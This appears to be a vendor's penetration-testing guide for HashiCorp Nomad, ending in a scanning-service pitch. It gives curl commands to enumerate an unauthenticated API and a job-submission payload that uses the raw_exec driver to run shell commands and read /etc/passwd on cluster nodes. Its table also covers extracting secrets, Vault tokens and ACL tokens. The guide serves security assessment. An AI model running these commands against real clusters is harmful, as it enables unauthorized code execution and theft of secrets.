HashiCorp Nomad Security Testing: Unauthenticated API, Job Injection, and Workload Identity Abuse

HashiCorp Nomad is a flexible workload orchestrator that schedules containers, VMs, and raw executables across a cluster. Its default security posture prioritizes ease of use: the HTTP API on port 4646 requires no authentication by default, allowing any network-reachable user to submit jobs, list running workloads, and access cluster state; Nomad's raw_exec driver executes commands directly on the Nomad client OS without any container isolation — if enabled, submitting a job with this driver gives OS-level code execution on every client node; Nomad workload identity JWTs are issued to jobs and can be used to authenticate to Vault for secrets access — over-broad Vault policies mean a compromised job can access secrets for other workloads; and Nomad's ACL system, when enabled, uses tokens that are often stored insecurely in configuration files or leaked via log output. This guide covers systematic Nomad security assessment.

Table of Contents

  1. Nomad API Discovery and Auth Testing
  2. raw_exec Driver Code Execution
  3. Job Enumeration and Secret Extraction
  4. Workload Identity Token Abuse
  5. ACL Token Theft
  6. Nomad Security Hardening

Nomad API Discovery and Auth Testing

# Nomad default ports: 4646 (HTTP API + UI), 4647 (RPC), 4648 (Serf)

# Check Nomad API access (no auth required on default deployments)
curl -s http://nomad.example.com:4646/v1/agent/self 2>/dev/null | \
  python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f\"Nomad version: {data.get('config',{}).get('Version',{}).get('Version','?')}\")
print(f\"Region: {data.get('config',{}).get('Region','?')}\")
print(f\"Datacenter: {data.get('config',{}).get('Datacenter','?')}\")
" 2>/dev/null

# List all jobs (no auth)
curl -s "http://nomad.example.com:4646/v1/jobs" 2>/dev/null | \
  python3 -c "
import json,sys
jobs = json.load(sys.stdin)
print(f'Running jobs: {len(jobs)}')
for j in jobs[:10]:
    print(f\"  {j.get('ID','?')} type={j.get('Type','?')} status={j.get('Status','?')} ns={j.get('Namespace','?')}\")
" 2>/dev/null

# List all nodes in the cluster
curl -s "http://nomad.example.com:4646/v1/nodes" 2>/dev/null | \
  python3 -c "
import json,sys
nodes = json.load(sys.stdin)
print(f'Cluster nodes: {len(nodes)}')
for n in nodes[:5]:
    print(f\"  {n.get('ID','?')[:8]} {n.get('Name','?')} status={n.get('Status','?')} drivers={list(n.get('Drivers',{}).keys())}\")
" 2>/dev/null | head -20

raw_exec Driver Code Execution

# The raw_exec driver executes commands directly on the Nomad client (no container)
# Check if any node has raw_exec enabled
curl -s "http://nomad.example.com:4646/v1/nodes" 2>/dev/null | \
  python3 -c "
import json,sys
nodes = json.load(sys.stdin)
for n in nodes:
    drivers = n.get('Drivers', {})
    if 'raw_exec' in drivers and drivers['raw_exec'].get('Detected', False):
        print(f\"raw_exec enabled on node: {n.get('Name','?')} ({n.get('ID','?')[:8]})\")
" 2>/dev/null

# Submit a job using raw_exec to execute commands on the Nomad client OS
curl -s -X POST "http://nomad.example.com:4646/v1/jobs" \
  -H "Content-Type: application/json" \
  -d '{
    "Job": {
      "ID": "rce-test",
      "Name": "rce-test",
      "Type": "batch",
      "Datacenters": ["dc1"],
      "TaskGroups": [{
        "Name": "rce",
        "Count": 1,
        "Tasks": [{
          "Name": "shell",
          "Driver": "raw_exec",
          "Config": {
            "command": "/bin/sh",
            "args": ["-c", "id > /tmp/nomad_rce.txt && cat /etc/passwd >> /tmp/nomad_rce.txt"]
          }
        }]
      }]
    }
  }' 2>/dev/null | python3 -m json.tool | head -5

Nomad Security Hardening

Nomad Security Hardening Checklist:
Security TestMethodRisk
Unauthenticated HTTP API accessGET /v1/jobs — lists all running jobs without credentials; cluster-wide accessCritical
raw_exec driver enables host OS RCESubmit batch job with raw_exec driver — executes commands directly on Nomad client OSCritical
Job environment variables reveal secretsGET /v1/job/{id}/allocations → GET /v1/allocation/{id} — env vars contain API keys and passwordsHigh
Workload identity JWT grants Vault accessExtract JWT from running allocation — use to authenticate to Vault with job's policyHigh
ACL bootstrap token in config filesRead nomad.hcl or environment — bootstrap token grants full cluster admin accessHigh
Serf gossip without encryptionCapture port 4648 traffic — unencrypted gossip reveals cluster membership and metadataMedium

Automate HashiCorp Nomad Security Testing

Ironimo tests Nomad deployments for unauthenticated HTTP API access allowing job submission and cluster enumeration, raw_exec driver enabled on client nodes enabling host OS code execution, job environment variable extraction revealing embedded secrets, workload identity JWT abuse for cross-job Vault access, ACL bootstrap token exposure in configuration files, and unencrypted Serf gossip exposing cluster topology.

Start free scan